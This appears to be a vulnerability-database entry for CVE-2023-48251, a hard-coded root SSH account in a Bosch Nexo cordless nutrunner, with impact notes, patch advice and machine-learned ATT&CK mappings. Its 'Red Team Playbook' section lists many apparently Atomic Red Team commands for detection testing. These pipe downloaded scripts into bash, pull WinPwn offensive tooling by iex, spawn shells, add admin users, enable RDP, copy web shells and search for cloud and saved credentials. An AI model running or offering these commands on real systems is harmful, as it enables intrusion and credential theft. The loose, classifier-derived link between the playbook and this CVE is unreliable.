CVE-2023-48251
Overview
This vulnerability is an authentication bypass caused by the presence of a hidden hard-coded account within the SSH service of the Rexroth Nexo cordless nutrunner NXA015S-36V device. The root cause lies in embedded credentials that grant root-level access without standard authentication procedures. The affected component is the SSH daemon running on the device's operating system, Nexo-OS, which fails to properly restrict access to authorized users only.
Vulnerability Description
The vulnerability allows a remote attacker to authenticate to the SSH service with root privileges through a hidden hard-coded account.
Impact
An attacker with network access to the device can remotely authenticate as root via SSH using the hard-coded account, enabling full control over the system. This can lead to unauthorized configuration changes, data manipulation, or disruption of device operations. No prior authentication or user interaction is needed, as indicated by CVSS vector AV:N/PR:N/UI:N. The high confidentiality, integrity, and availability impacts (C:H/I:H/A:H) reflect the critical nature of this breach in operational environments.
Solution
Bosch has released a security advisory (BOSCH-SA-711465) addressing this issue for the Rexroth Nexo cordless nutrunner NXA015S-36V. Users should apply the vendor-provided firmware update for Nexo-OS as specified in the advisory to remove the hard-coded account. Detailed patching instructions and version information are available at the Bosch PSIRT portal. No alternative workarounds are recommended; immediate application of the official update is advised.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the SSH service of the affected Bosch Nexo OS products stems from the presence of a hidden hard-coded account that grants remote attackers root privileges. This flaw allows unauthorized users to bypass standard authentication mechanisms, effectively compromising the system's integrity and security. The hard-coded nature of the account means that it is embedded within the software, making it difficult for users to detect or remove. Such vulnerabilities are particularly dangerous as they can be exploited without any prior knowledge of the system by the attacker, leading to severe security breaches.
Attack vectors for this vulnerability are primarily remote, leveraging the SSH protocol, which is commonly used for secure remote administration of systems. An attacker could exploit this flaw by attempting to connect to the SSH service using the hard-coded credentials. Once authenticated, the attacker would gain root access, allowing them to execute arbitrary commands, modify system configurations, or install malicious software. This scenario poses a significant risk, especially in environments where the affected products are deployed in critical infrastructure or sensitive applications, as it could lead to unauthorized data access, service disruptions, or even complete system takeovers.
The real-world impact of such a vulnerability can be profound. Organizations utilizing the affected Bosch Nexo OS products may face significant business risks, including financial losses, reputational damage, and regulatory penalties. The potential for data breaches is heightened, as attackers could exfiltrate sensitive information or disrupt operations. Moreover, the exploitation of this vulnerability could lead to cascading effects, impacting not only the immediate organization but also its partners and customers, particularly if the compromised systems are integral to larger networks or supply chains.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and remediate such flaws proactively. Monitoring SSH access logs for unusual login attempts or patterns can help detect unauthorized access attempts. Additionally, organizations should enforce strict access controls, limiting SSH access to trusted IP addresses and implementing two-factor authentication where possible. Furthermore, it is crucial to stay informed about vendor updates and patches, as timely application of security updates can help mitigate the risks associated with known vulnerabilities.
In conclusion, the presence of a hard-coded account in the SSH service of Bosch Nexo OS products represents a critical security vulnerability that can be exploited by remote attackers to gain root access. The implications of such an exploit are severe, with potential impacts on data integrity, operational continuity, and organizational reputation. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities, ensuring the security and resilience of their systems in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bosch | Nexo-Os | All |
cpe:2.3:o:bosch:nexo-os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-191 | Read Sensitive Constants Within an Executable |
34%
|
— | Low | |
| CAPEC-70 | Try Common or Default Usernames and Passwords |
30%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-48251 |
| psirt.bosch.com |
GitHub CVE
vendor-advisory
|
https://psirt.bosch.com/security-advisories/BOSCH-SA-711465.html |